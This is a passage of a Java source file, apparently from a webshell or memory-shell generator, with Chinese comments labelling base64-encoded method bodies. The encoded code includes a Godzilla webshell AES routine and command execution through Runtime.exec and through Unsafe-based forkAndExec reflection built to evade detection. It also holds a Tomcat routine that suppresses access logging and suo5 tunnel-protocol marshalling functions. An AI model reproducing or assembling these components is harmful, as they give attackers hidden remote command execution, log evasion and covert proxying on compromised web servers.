lW10uY2xhc3N9KS5pbnZva2UoRW5jb2RlciwgbmV3IE9iamVjdFtde2JzfSk7CgkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJCX0KCQl9CgkJcmV0dXJuIHZhbHVlOwoJfQ=="; - - // MD5 - public static String MD5 = "CXB1YmxpYyBzdGF0aWMgU3RyaW5nIG1kNShTdHJpbmcgcykgewoJCVN0cmluZyByZXQgPSBudWxsOwoJCXRyeSB7CgkJCWphdmEuc2VjdXJpdHkuTWVzc2FnZURpZ2VzdCBtOwoJCQltID0gamF2YS5zZWN1cml0eS5NZXNzYWdlRGlnZXN0LmdldEluc3RhbmNlKCJNRDUiKTsKCQkJbS51cGRhdGUocy5nZXRCeXRlcygpLCAwLCBzLmxlbmd0aCgpKTsKCQkJcmV0ID0gbmV3IGphdmEubWF0aC5CaWdJbnRlZ2VyKDEsIG0uZGlnZXN0KCkpLnRvU3RyaW5nKDE2KS50b1VwcGVyQ2FzZSgpOwoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJfQoJCXJldHVybiByZXQ7Cgl9"; - - // 哥斯拉 AES 方法 x(需要 Field xc) - public static String AES_FOR_GODZILLA = "CXB1YmxpYyBieXRlW10geChieXRlW10gcywgYm9vbGVhbiBtKSB7CgkJdHJ5IHsKCQkJamF2YXguY3J5cHRvLkNpcGhlciBjID0gamF2YXguY3J5cHRvLkNpcGhlci5nZXRJbnN0YW5jZSgiQUVTIik7CgkJCWMuaW5pdChtID8gMSA6IDIsIG5ldyBqYXZheC5jcnlwdG8uc3BlYy5TZWNyZXRLZXlTcGVjKHhjLmdldEJ5dGVzKCksICJBRVMiKSk7CgkJCXJldHVybiBjLmRvRmluYWwocyk7CgkJfSBjYXRjaCAoRXhjZXB0aW9uIGUpIHsKCQkJcmV0dXJuIG51bGw7CgkJfQoJfQ=="; - // 命令执行封装方法,使用反射调用 forkandexec, 需要 toCString getMethodByClass getMethodAndInvoke getFieldValue getUnsafe public static String EXEC_CMD_OBSCURE = "cHVibGljIHN0YXRpYyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSBleGVjQ21kKFN0cmluZyBjbWQpIHsKCQl0cnkgewoJCQlpZiAoY21kICE9IG51bGwgJiYgIWNtZC5pc0VtcHR5KCkpIHsKCQkJCVN0cmluZ1tdICAgICAgICAgICAgICAgICAgICAgIGNtZHMgICAgICAgICAgPSBudWxsOwoJCQkJQ2xhc3MgICAgICAgICAgICAgICAgICAgICAgICAgcHJvY2Vzc0NsYXNzICA9IG51bGw7CgkJCQlPYmplY3QgICAgICAgICAgICAgICAgICAgICAgICBwcm9jZXNzT2JqZWN0ID0gbnVsbDsKCQkJCXN1bi5taXNjLlVuc2FmZSAgICAgICAgICAgICAgIHVuc2FmZSAgICAgICAgPSBnZXRVbnNhZmUoKTsKCQkJCWphdmEuaW8uQnl0ZUFycmF5T3V0cHV0U3RyZWFtIGJhb3MgICAgICAgICAgPSBuZXcgamF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0oKTsKCQkJCWlmIChTeXN0ZW0uZ2V0UHJvcGVydHkoIm9zLm5hbWUiKS50b0xvd2VyQ2FzZSgpLmNvbnRhaW5zKCJ3aW4iKSkgewoJCQkJCWNtZHMgPSBuZXcgU3RyaW5nW117ImNtZCIsICIvYyIsIGNtZH07CgkJCQkJcHJvY2Vzc0NsYXNzID0gQ2xhc3MuZm9yTmFtZSgiamF2YS5sYW5nLlByb2Nlc3NJbXBsIik7CgkJCQkJcHJvY2Vzc09iamVjdCA9IHVuc2FmZS5hbGxvY2F0ZUluc3RhbmNlKHByb2Nlc3NDbGFzcyk7CgkJCQkJbG9uZ1tdICAgICAgICAgICAgICAgICBzdGRIYW5kbGVzID0gbmV3IGxvbmdbXXstMUwsIC0xTCwgLTFMfTsKCQkJCQlqYXZhLmlvLkZpbGVEZXNjcmlwdG9yIHN0ZG91dF9mZCAgPSBuZXcgamF2YS5pby5GaWxlRGVzY3JpcHRvcigpOwoJCQkJCVN0cmluZ0J1aWxkZXIgICAgICAgICAgc2IgICAgICAgICA9IG5ldyBTdHJpbmdCdWlsZGVyKCk7CgoJCQkJCWZvciAoaW50IGkgPSAwOyBpIDwgY21kcy5sZW5ndGg7IGkrKykgewoJCQkJCQlzYi5hcHBlbmQoY21kc1tpXSkuYXBwZW5kKCIgIik7CgkJCQkJfQoJCQkJCU9iamVjdCBoYW5kbGUgPSBnZXRNZXRob2RBbmRJbnZva2UocHJvY2Vzc09iamVjdCwgImNyZWF0ZSIsIG5ldyBDbGFzc1tde1N0cmluZy5jbGFzcywgU3RyaW5nLmNsYXNzLCBTdHJpbmcuY2xhc3MsIGxvbmdbXS5jbGFzcywgYm9vbGVhbi5jbGFzc30sIG5ldyBPYmplY3RbXXtzYi50b1N0cmluZygpLnRyaW0oKSwgbnVsbCwgbnVsbCwgc3RkSGFuZGxlcywgamF2YS5sYW5nLkJvb2xlYW4uRkFMU0V9KTsKCQkJCQlpZiAoaGFuZGxlID09IG51bGwpIHsKCQkJCQkJZ2V0TWV0aG9kQW5kSW52b2tlKHByb2Nlc3NPYmplY3QsICJjcmVhdGUiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3MsIFN0cmluZy5jbGFzcywgU3RyaW5nLmNsYXNzLCBib29sZWFuLmNsYXNzLCBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yLmNsYXNzLCBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yLmNsYXNzLCBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yLmNsYXNzfSwKCQkJCQkJCQluZXcgT2JqZWN0W117c2IudG9TdHJpbmcoKS50cmltKCksIG51bGwsIG51bGwsIGphdmEubGFuZy5Cb29sZWFuLkZBTFNFLCBuZXcgamF2YS5pby5GaWxlRGVzY3JpcHRvcigpLCBzdGRvdXRfZmQsIG5ldyBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yKCl9KTsKCQkJCQl9IGVsc2UgewoJCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCBmaWVsZCA9IHByb2Nlc3NDbGFzcy5nZXREZWNsYXJlZEZpZWxkKCJoYW5kbGUiKTsKCQkJCQkJZmllbGQuc2V0QWNjZXNzaWJsZSh0cnVlKTsKCQkJCQkJZmllbGQuc2V0KHByb2Nlc3NPYmplY3QsIGhhbmRsZSk7CgkJCQkJCWdldE1ldGhvZEFuZEludm9rZShnZXRGaWVsZFZhbHVlKHByb2Nlc3NPYmplY3QsICJmZEFjY2VzcyIpLCAic2V0SGFuZGxlIiwgbmV3IENsYXNzW117amF2YS5pby5GaWxlRGVzY3JpcHRvci5jbGFzcywgbG9uZy5jbGFzc30sIG5ldyBPYmplY3RbXXtzdGRvdXRfZmQsIExvbmcudmFsdWVPZihzdGRIYW5kbGVzWzFdKX0pOwoJCQkJCX0KCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCBmaWVsZDIgPSBwcm9jZXNzQ2xhc3MuZ2V0RGVjbGFyZWRGaWVsZCgic3Rkb3V0X3N0cmVhbSIpOwoJCQkJCWZpZWxkMi5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJCWZpZWxkMi5zZXQocHJvY2Vzc09iamVjdCwgbmV3IGphdmEuaW8uQnVmZmVyZWRJbnB1dFN0cmVhbShuZXcgamF2YS5pby5GaWxlSW5wdXRTdHJlYW0oc3Rkb3V0X2ZkKSkpOwoJCQkJfSBlbHNlIHsKCQkJCQljbWRzID0gbmV3IFN0cmluZ1tdeyIvYmluL2Jhc2giLCAiLWMiLCBjbWR9OwoJCQkJCXByb2Nlc3NDbGFzcyA9IENsYXNzLmZvck5hbWUoImphdmEubGFuZy5VTklYUHJvY2VzcyIpOwoJCQkJCXByb2Nlc3NPYmplY3QgPSB1bnNhZmUuYWxsb2NhdGVJbnN0YW5jZShwcm9jZXNzQ2xhc3MpOwoJCQkJCWJ5dGVbXVtdIGFyZ3MgPSBuZXcgYnl0ZVtjbWRzLmxlbmd0aCAtIDFdW107CgkJCQkJaW50ICAgICAgc2l6ZSA9IGFyZ3MubGVuZ3RoOwoJCQkJCWZvciAoaW50IGkgPSAwOyBpIDwgYXJncy5sZW5ndGg7IGkrKykgewoJCQkJCQlhcmdzW2ldID0gY21kc1tpICsgMV0uZ2V0Qnl0ZXMoKTsKCQkJCQkJc2l6ZSArPSBhcmdzW2ldLmxlbmd0aDsKCQkJCQl9CgkJCQkJYnl0ZVtdIGFyZ0Jsb2NrID0gbmV3IGJ5dGVbc2l6ZV07CgkJCQkJaW50ICAgIGkgICAgICAgID0gMDsKCQkJCQlmb3IgKGludCBpMSA9IDA7IGkxIDwgYXJncy5sZW5ndGg7IGkxKyspIHsKCQkJCQkJU3lzdGVtLmFycmF5Y29weShhcmdzW2kxXSwgMCwgYXJnQmxvY2ssIGksIGFyZ3NbaTFdLmxlbmd0aCk7CgkJCQkJCWkgKz0gYXJnc1tpMV0ubGVuZ3RoICsgMTsKCQkJCQl9CgkJCQkJaW50W10gc3RkX2ZkcyA9IG5ldyBpbnRbXXstMSwgLTEsIC0xfTsKCgkJCQkJdHJ5IHsKCQkJCQkJT2JqZWN0IGxhdW5jaE1lY2hhbmlzbU9iamVjdCA9IGdldEZpZWxkVmFsdWUocHJvY2Vzc09iamVjdCwgImxhdW5jaE1lY2hhbmlzbSIpOwoJCQkJCQlieXRlW10gaGVscGVycGF0aE9iamVjdCAgICAgID0gKGJ5dGVbXSkgZ2V0RmllbGRWYWx1ZShwcm9jZXNzT2JqZWN0LCAiaGVscGVycGF0aCIpOwoJCQkJCQlpbnQgICAgb3JkaW5hbCAgICAgICAgICAgICAgID0gamF2YS5sYW5nLkludGVnZXIucGFyc2VJbnQoZ2V0TWV0aG9kQW5kSW52b2tlKGxhdW5jaE1lY2hhbmlzbU9iamVjdCwgIm9yZGluYWwiLCBudWxsLCBudWxsKS50b1N0cmluZygpKTsKCQkJCQkJZ2V0TWV0aG9kQW5kSW52b2tlKHByb2Nlc3NPYmplY3QsICJmb3JrQW5kRXhlYyIsIG5ldyBDbGFzc1tde2ludC5jbGFzcywgYnl0ZVtdLmNsYXNzLCBieXRlW10uY2xhc3MsIGJ5dGVbXS5jbGFzcywgaW50LmNsYXNzLCBieXRlW10uY2xhc3MsIGludC5jbGFzcywgYnl0ZVtdLmNsYXNzLCBpbnRbXS5jbGFzcywgYm9vbGVhbi5jbGFzc30sIG5ldyBPYmplY3RbXXtJbnRlZ2VyLnZhbHVlT2Yob3JkaW5hbCArIDEpLCBoZWxwZXJwYXRoT2JqZWN0LCB0b0NTdHJpbmcoY21kc1swXSksIGFyZ0Jsb2NrLCBJbnRlZ2VyLnZhbHVlT2YoYXJncy5sZW5ndGgpLCBudWxsLCBJbnRlZ2VyLnZhbHVlT2YoMSksIG51bGwsIHN0ZF9mZHMsIGphdmEubGFuZy5Cb29sZWFuLkZBTFNFfSk7CgkJCQkJCWdldE1ldGhvZEFuZEludm9rZShwcm9jZXNzT2JqZWN0LCAiaW5pdFN0cmVhbXMiLCBuZXcgQ2xhc3NbXXtpbnRbXS5jbGFzc30sIG5ldyBPYmplY3RbXXtzdGRfZmRzfSk7CgkJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJCQkJamF2YS5pby5GaWxlRGVzY3JpcHRvciBzdGRvdXRfZmQgPSBuZXcgamF2YS5pby5GaWxlRGVzY3JpcHRvcigpOwoJCQkJCQlnZXRNZXRob2RBbmRJbnZva2UocHJvY2Vzc09iamVjdCwgImZvcmtBbmRFeGVjIiwgbmV3IENsYXNzW117Ynl0ZVtdLmNsYXNzLCBieXRlW10uY2xhc3MsIGludC5jbGFzcywgYnl0ZVtdLmNsYXNzLCBpbnQuY2xhc3MsIGJ5dGVbXS5jbGFzcywgYm9vbGVhbi5jbGFzcywgamF2YS5pby5GaWxlRGVzY3JpcHRvci5jbGFzcywgamF2YS5pby5GaWxlRGVzY3JpcHRvci5jbGFzcywgamF2YS5pby5GaWxlRGVzY3JpcHRvci5jbGFzc30sCgkJCQkJCQkJbmV3IE9iamVjdFtde3RvQ1N0cmluZyhjbWRzWzBdKSwgYXJnQmxvY2ssIEludGVnZXIudmFsdWVPZihhcmdzLmxlbmd0aCksIG51bGwsIEludGVnZXIudmFsdWVPZigxKSwgbnVsbCwgamF2YS5sYW5nLkJvb2xlYW4uRkFMU0UsIG5ldyBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yKCksIHN0ZG91dF9mZCwgbmV3IGphdmEuaW8uRmlsZURlc2NyaXB0b3IoKX0pOwoJCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCBmaWVsZDIgPSBwcm9jZXNzQ2xhc3MuZ2V0RGVjbGFyZWRGaWVsZCgic3Rkb3V0X3N0cmVhbSIpOwoJCQkJCQlmaWVsZDIuc2V0QWNjZXNzaWJsZSh0cnVlKTsKCgkJCQkJCXRyeSB7CgkJCQkJCQlDbGFzcyAgICAgICAgICAgICAgICAgICAgICAgICBkY2lzQ2xhc3MgICA9IENsYXNzLmZvck5hbWUoImphdmEubGFuZy5VTklYUHJvY2VzcyREZWZlcnJlZENsb3NlSW5wdXRTdHJlYW0iKTsKCQkJCQkJCWphdmEubGFuZy5yZWZsZWN0LkNvbnN0cnVjdG9yIGNvbnN0cnVjdG9yID0gZGNpc0NsYXNzLmdldERlY2xhcmVkQ29uc3RydWN0b3IobmV3IENsYXNzW117amF2YS5pby5GaWxlRGVzY3JpcHRvci5jbGFzc30pOwoJCQkJCQkJY29uc3RydWN0b3Iuc2V0QWNjZXNzaWJsZSh0cnVlKTsKCQkJCQkJCWZpZWxkMi5zZXQocHJvY2Vzc09iamVjdCwgbmV3IGphdmEuaW8uQnVmZmVyZWRJbnB1dFN0cmVhbSgoamF2YS5pby5JbnB1dFN0cmVhbSkgY29uc3RydWN0b3IubmV3SW5zdGFuY2UobmV3IE9iamVjdFtde3N0ZG91dF9mZH0pKSk7CgkJCQkJCX1jYXRjaCAoRXhjZXB0aW9uIG5ldmVyTWluZCl7CgkJCQkJCQlmaWVsZDIuc2V0KHByb2Nlc3NPYmplY3QsIG5ldyBqYXZhLmlvLkJ1ZmZlcmVkSW5wdXRTdHJlYW0obmV3IGphdmEuaW8uRmlsZUlucHV0U3RyZWFtKHN0ZG91dF9mZCkpKTsKCQkJCQkJfQoJCQkJCX0KCQkJCX0KCQkJCWphdmEuaW8uSW5wdXRTdHJlYW0gaW4gPSAoamF2YS5pby5JbnB1dFN0cmVhbSkgZ2V0TWV0aG9kQW5kSW52b2tlKHByb2Nlc3NPYmplY3QsICJnZXRJbnB1dFN0cmVhbSIsIG51bGwsIG51bGwpOwoJCQkJaW50ICAgICAgICAgICAgICAgICBhICA9IDA7CgkJCQlieXRlW10gICAgICAgICAgICAgIGIgID0gbmV3IGJ5dGVbMTAyNF07CgkJCQl3aGlsZSAoKGEgPSBpbi5yZWFkKGIpKSAhPSAtMSkgewoJCQkJCWJhb3Mud3JpdGUoYiwgMCwgYSk7CgkJCQl9CgkJCQlyZXR1cm4gYmFvczsKCQkJfQoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJfQoJCXJldHVybiBudWxsOwoJfQ=="; // 命令执行封装方法,简单使用 Runtime.getRuntime().exec() public static String EXEC_CMD = "cHVibGljIHN0YXRpYyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSBleGVjQ21kKFN0cmluZyBjbWQpIHsKCQl0cnkgewoJCQlpZiAoY21kICE9IG51bGwgJiYgIWNtZC5pc0VtcHR5KCkpIHsKCQkJCVN0cmluZ1tdIGNtZHMgPSBudWxsOwoJCQkJaWYgKFN5c3RlbS5nZXRQcm9wZXJ0eSgib3MubmFtZSIpLnRvTG93ZXJDYXNlKCkuY29udGFpbnMoIndpbiIpKSB7CgkJCQkJY21kcyA9IG5ldyBTdHJpbmdbXXsiY21kIiwgIi9jIiwgY21kfTsKCQkJCX0gZWxzZSB7CgkJCQkJY21kcyA9IG5ldyBTdHJpbmdbXXsiL2Jpbi9iYXNoIiwgIi1jIiwgY21kfTsKCQkJCX0KCgkJCQlqYXZhLmlvLklucHV0U3RyZWFtIGluID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhjbWRzKS5nZXRJbnB1dFN0cmVhbSgpOwoJCQkJamF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0gYmFvcyA9IG5ldyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSgpOwoJCQkJaW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgYSAgICA9IDA7CgkJCQlieXRlW10gICAgICAgICAgICAgICAgICAgICAgICBiICAgID0gbmV3IGJ5dGVbMTAyNF07CgoJCQkJd2hpbGUgKChhID0gaW4ucmVhZChiKSkgIT0gLTEpIHsKCQkJCQliYW9zLndyaXRlKGIsIDAsIGEpOwoJCQkJfQoKCQkJCXJldHVybiBiYW9zOwoJCQl9CgkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQl9CgoJCXJldHVybiBudWxsOwoJfQ=="; - - // Tomcat NO LOG 方法,需要 getFieldValue getMethodByClass getMethodAndInvoke - public static String TOMCAT_NO_LOG = "cHVibGljIHZvaWQgbm9Mb2coT2JqZWN0IHJlcU9iaikgewoJCXRyeSB7CgkJCU9iamVjdCAgICAgICAgICAgICAgICAgICAgICBhcHBsaWNhdGlvbkNvbnRleHQgPSBnZXRGaWVsZFZhbHVlKGdldE1ldGhvZEFuZEludm9rZShyZXFPYmosICJnZXRTZXJ2bGV0Q29udGV4dCIsIG51bGwsIG51bGwpLCAiY29udGV4dCIpOwoJCQlPYmplY3QgICAgICAgICAgICAgICAgICAgICAgY29udGFpbmVyICAgICAgICAgID0gZ2V0RmllbGRWYWx1ZShhcHBsaWNhdGlvbkNvbnRleHQsICJjb250ZXh0Iik7CgkJCWphdmEudXRpbC5BcnJheUxpc3QgYXJyYXlMaXN0ICAgICAgICAgID0gbmV3IGphdmEudXRpbC5BcnJheUxpc3QoKTsKCQkJd2hpbGUgKGNvbnRhaW5lciAhPSBudWxsKSB7CgkJCQlhcnJheUxpc3QuYWRkKGNvbnRhaW5lcik7CgkJCQljb250YWluZXIgPSBnZXRNZXRob2RBbmRJbnZva2UoY29udGFpbmVyLCAiZ2V0UGFyZW50IiwgbnVsbCwgbnVsbCk7CgkJCX0KCQkJZm9yIChpbnQgaSA9IDA7IGkgPCBhcnJheUxpc3Quc2l6ZSgpOyBpKyspIHsKCQkJCXRyeSB7CgkJCQkJT2JqZWN0IHBpcGVsaW5lID0gZ2V0TWV0aG9kQW5kSW52b2tlKGFycmF5TGlzdC5nZXQoaSksICJnZXRQaXBlbGluZSIsIG51bGwsIG51bGwpOwoJCQkJCWlmIChwaXBlbGluZSAhPSBudWxsKSB7CgkJCQkJCU9iamVjdCB2YWx2ZSA9IGdldE1ldGhvZEFuZEludm9rZShwaXBlbGluZSwgImdldEZpcnN0IiwgbnVsbCwgbnVsbCk7CgkJCQkJCXdoaWxlICh2YWx2ZSAhPSBudWxsKSB7CgkJCQkJCQlpZiAoZ2V0TWV0aG9kQnlDbGFzcyh2YWx2ZS5nZXRDbGFzcygpLCAiZ2V0Q29uZGl0aW9uIiwgbnVsbCkgIT0gbnVsbCAmJiBnZXRNZXRob2RCeUNsYXNzKHZhbHZlLmdldENsYXNzKCksICJzZXRDb25kaXRpb24iLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9KSAhPSBudWxsKSB7CgkJCQkJCQkJU3RyaW5nIGNvbmRpdGlvbiA9IChTdHJpbmcpIGdldE1ldGhvZEFuZEludm9rZSh2YWx2ZSwgImdldENvbmRpdGlvbiIsIG51bGwsIG51bGwpOwoJCQkJCQkJCWNvbmRpdGlvbiA9IChjb25kaXRpb24gPT0gbnVsbCkgPyAiV2hhdGV2ZXIiIDogY29uZGl0aW9uOwoJCQkJCQkJCWdldE1ldGhvZEFuZEludm9rZSh2YWx2ZSwgInNldENvbmRpdGlvbiIsIG5ldyBDbGFzc1tde1N0cmluZy5jbGFzc30sIG5ldyBPYmplY3RbXXtjb25kaXRpb259KTsKCQkJCQkJCQlnZXRNZXRob2RBbmRJbnZva2UocmVxT2JqLCAic2V0QXR0cmlidXRlIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzLCBPYmplY3QuY2xhc3N9LCBuZXcgT2JqZWN0W117Y29uZGl0aW9uLCBjb25kaXRpb259KTsKCQkJCQkJCQl2YWx2ZSA9IGdldE1ldGhvZEFuZEludm9rZSh2YWx2ZSwgImdldE5leHQiLCBudWxsLCBudWxsKTsKCQkJCQkJCQljb250aW51ZTsKCQkJCQkJCX0KCQkJCQkJCWlmIChDbGFzcy5mb3JOYW1lKCJvcmcuYXBhY2hlLmNhdGFsaW5hLlZhbHZlIiwgZmFsc2UsIGFwcGxpY2F0aW9uQ29udGV4dC5nZXRDbGFzcygpLmdldENsYXNzTG9hZGVyKCkpLmlzQXNzaWduYWJsZUZyb20odmFsdmUuZ2V0Q2xhc3MoKSkpIHsKCQkJCQkJCQl2YWx2ZSA9IGdldE1ldGhvZEFuZEludm9rZSh2YWx2ZSwgImdldE5leHQiLCBudWxsLCBudWxsKTsKCQkJCQkJCQljb250aW51ZTsKCQkJCQkJCX0KCQkJCQkJCXZhbHZlID0gbnVsbDsKCQkJCQkJfQoJCQkJCX0KCQkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJCQl9CgkJCX0KCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCX0KCX0="; - - public static class SUO5 { - - // suo5 newCreate 方法 - public static String SUO5_NEW_CREATE = "CXByaXZhdGUgamF2YS51dGlsLkhhc2hNYXAgbmV3Q3JlYXRlKGJ5dGUgcykgewoJCWphdmEudXRpbC5IYXNoTWFwIG0gPSBuZXcgamF2YS51dGlsLkhhc2hNYXAoKTsKCQltLnB1dCgiYWMiLCBuZXcgYnl0ZVtdezB4MDR9KTsKCQltLnB1dCgicyIsIG5ldyBieXRlW117c30pOwoJCXJldHVybiBtOwoJfQ=="; - - // suo5 newData 方法 - public static String SUO5_NEW_DATA = "CXByaXZhdGUgamF2YS51dGlsLkhhc2hNYXAgbmV3RGF0YShieXRlW10gZGF0YSkgewoJCWphdmEudXRpbC5IYXNoTWFwIG0gPSBuZXcgamF2YS51dGlsLkhhc2hNYXAoKTsKCQltLnB1dCgiYWMiLCBuZXcgYnl0ZVtdezB4MDF9KTsKCQltLnB1dCgiZHQiLCBkYXRhKTsKCQlyZXR1cm4gbTsKCX0="; - - // suo5 newDel 方法 - public static String SUO5_NEW_DEL = "CXByaXZhdGUgamF2YS51dGlsLkhhc2hNYXAgbmV3RGVsKCkgewoJCWphdmEudXRpbC5IYXNoTWFwIG0gPSBuZXcgamF2YS51dGlsLkhhc2hNYXAoKTsKCQltLnB1dCgiYWMiLCBuZXcgYnl0ZVtdezB4MDJ9KTsKCQlyZXR1cm4gbTsKCX0="; - - // suo5 setStream 方法,需要 Field gInStream,gOutStream - public static String SUO5_SET_STREAM = "cHJpdmF0ZSB2b2lkIHNldFN0cmVhbShqYXZhLmlvLklucHV0U3RyZWFtIGluLCBqYXZhLmlvLk91dHB1dFN0cmVhbSBvdXQpIHsKCQlnSW5TdHJlYW0gPSBpbjsKCQlnT3V0U3RyZWFtID0gb3V0OwoJfQ=="; - - // suo5 newStatus 方法 - public static String SUO5_NEW_STATUS = "CXByaXZhdGUgamF2YS51dGlsLkhhc2hNYXAgbmV3U3RhdHVzKGJ5dGUgYikgewoJCWphdmEudXRpbC5IYXNoTWFwIG0gPSBuZXcgamF2YS51dGlsLkhhc2hNYXAoKTsKCQltLnB1dCgicyIsIG5ldyBieXRlW117Yn0pOwoJCXJldHVybiBtOwoJfQo="; - - // suo5 u32toBytes 方法 - public static String SUO5_U32_TO_BYTES = "Ynl0ZVtdIHUzMnRvQnl0ZXMoaW50IGkpIHsKCQlieXRlW10gcmVzdWx0ID0gbmV3IGJ5dGVbNF07CgkJcmVzdWx0WzBdID0gKGJ5dGUpIChpID4+IDI0KTsKCQlyZXN1bHRbMV0gPSAoYnl0ZSkgKGkgPj4gMTYpOwoJCXJlc3VsdFsyXSA9IChieXRlKSAoaSA+PiA4KTsKCQlyZXN1bHRbM10gPSAoYnl0ZSkgKGkgLyo+PiAwKi8pOwoJCXJldHVybiByZXN1bHQ7Cgl9"; - - // suo5 bytesToU32 方法 - public static String SUO5_BYTES_TO_U32 = "aW50IGJ5dGVzVG9VMzIoYnl0ZVtdIGJ5dGVzKSB7CgkJcmV0dXJuICgoYnl0ZXNbMF0gJiAweEZGKSA8PCAyNCkgfAoJCQkJKChieXRlc1sxXSAmIDB4RkYpIDw8IDE2KSB8CgkJCQkoKGJ5dGVzWzJdICYgMHhGRikgPDwgOCkgfAoJCQkJKChieXRlc1szXSAmIDB4RkYpKTsKCX0="; - - // suo5 marshal 方法,需要 u32toBytes - public static String SUO5_MARSHAL = "cHJpdmF0ZSBieXRlW10gbWFyc2hhbChqYXZhLnV0aWwuSGFzaE1hcCBtKSB0aHJvd3MgamF2YS5pby5JT0V4Y2VwdGlvbiB7CgkJamF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0gYnVmID0gbmV3IGphdmEuaW8uQnl0ZUFycmF5T3V0cHV0U3RyZWFtKCk7CgkJT2JqZWN0W10ga2V5U2V0ID0gbS5rZXlTZXQoKS50b0FycmF5KCk7CgkJCgkJZm9yIChpbnQgaSA9IDA7IGkgPCBrZXlTZXQubGVuZ3RoOyBpKyspIHsKCQkJU3RyaW5nIGtleSA9IGtleVNldFtpXS50b1N0cmluZygpOwoJCQlieXRlW10gdmFsdWUgPSAoYnl0ZVtdKW0uZ2V0KGtleSk7CgkJCWJ1Zi53cml0ZSgoYnl0ZSkga2V5Lmxlbmd0aCgpKTsKCQkJYnVmLndyaXRlKGtleS5nZXRCeXRlcygpKTsKCQkJYnVmLndyaXRlKHUzMnRvQnl0ZXMoKHZhbHVlKS5sZW5ndGgpKTsKCQkJYnVmLndyaXRlKHZhbHVlKTsKCQl9CgkJCgkJYnl0ZVtdICAgICAgICAgICAgICBkYXRhID0gYnVmLnRvQnl0ZUFycmF5KCk7CgkJamF2YS5uaW8uQnl0ZUJ1ZmZlciBkYnVmID0gamF2YS5uaW8uQnl0ZUJ1ZmZlci5hbGxvY2F0ZSg1ICsgZGF0YS5sZW5ndGgpOwoJCWRidWYucHV0SW50KGRhdGEubGVuZ3RoKTsKCQlieXRlIGtleSA9IGRhdGFbZGF0YS5sZW5ndGggLyAyXTsKCQlkYnVmLnB1dChrZXkpOwoJCWZvciAoaW50IGkgPSAwOyBpIDwgZGF0YS5sZW5ndGg7IGkrKykgewoJCX0KCQlkYnVmLnB1dChkYXRhKTsKCQlyZXR1cm4gZGJ1Zi5hcnJheSgpOwoJfQ=="; - - // suo5 unmarshal 方法,需要 bytesToU32 - public static String SUO5_UNMARSHAL = "cHJpdmF0ZSBqYXZhLnV0aWwuSGFzaE1hcCB1bm1hcnNoYWwoamF2YS5pby5JbnB1dFN0cmVhbSBpbikgdGhyb3dzIGphdmEubGFuZy5FeGNlcHRpb24gewoJCWphdmEuaW8uRGF0YUlucHV0U3RyZWFtIHJlYWRlciA9IG5ldyBqYXZhLmlvLkRhdGFJbnB1dFN0cmVhbShpbik7CgkJYnl0ZVtdICAgICAgICAgICAgICAgICAgaGVhZGVyID0gbmV3IGJ5dGVbNCArIDFdOwoJCXJlYWRlci5yZWFkRnVsbHkoaGVhZGVyKTsKCQlqYXZhLm5pby5CeXRlQnVmZmVyIGJiICA9IGphdmEubmlvLkJ5dGVCdWZmZXIud3JhcChoZWFkZXIpOwoJCWludCAgICAgICAgICAgICAgICAgbGVuID0gYmIuZ2V0SW50KCk7CgkJaW50ICAgICAgICAgICAgICAgICB4ICAgPSBiYi5nZXQoKTsKCQlpZiAobGVuID4gMTAyNCAqIDEwMjQgKiAzMikgewoJCQl0aHJvdyBuZXcgamF2YS5pby5JT0V4Y2VwdGlvbigiaW52YWxpZCBsZW4iKTsKCQl9CgkJYnl0ZVtdIGJzID0gbmV3IGJ5dGVbbGVuXTsKCQlyZWFkZXIucmVhZEZ1bGx5KGJzKTsKCQlmb3IgKGludCBpID0gMDsgaSA8IGJzLmxlbmd0aDsgaSsrKSB7CgkJCWJzW2ldID0gKGJ5dGUpIChic1tpXSBeIHgpOwoJCX0KCQlqYXZhLnV0aWwuSGFzaE1hcCBtID0gbmV3IGphdmEudXRpbC5IYXNoTWFwKCk7CgkJYnl0ZVtdICAgICAgICAgICAgICAgICAgYnVmOwoJCWZvciAoaW50IGkgPSAwOyBpIDwgYnMubGVuZ3RoIC0gMTsgKSB7CgkJCXNob3J0IGtMZW4gPSBic1tpXTsKCQkJaSArPSAxOwoJCQlpZiAoaSArIGtMZW4gPj0gYnMubGVuZ3RoKSB7CgkJCQl0aHJvdyBuZXcgamF2YS5sYW5nLkV4Y2VwdGlvbigia2V5IGxlbiBlcnJvciIpOwoJCQl9CgkJCWlmIChrTGVuIDwgMCkgewoJCQkJdGhyb3cgbmV3IGphdmEubGFuZy5FeGNlcHRpb24oImtleSBsZW4gZXJyb3IiKTsKCQkJfQoJCQlidWYgPSBqYXZhLnV0aWwuQXJyYXlzLmNvcHlPZlJhbmdlKGJzLCBpLCBpICsga0xlbik7CgkJCVN0cmluZyBrZXkgPSBuZXcgU3RyaW5nKGJ1Zik7CgkJCWkgKz0ga0xlbjsKCgkJCWlmI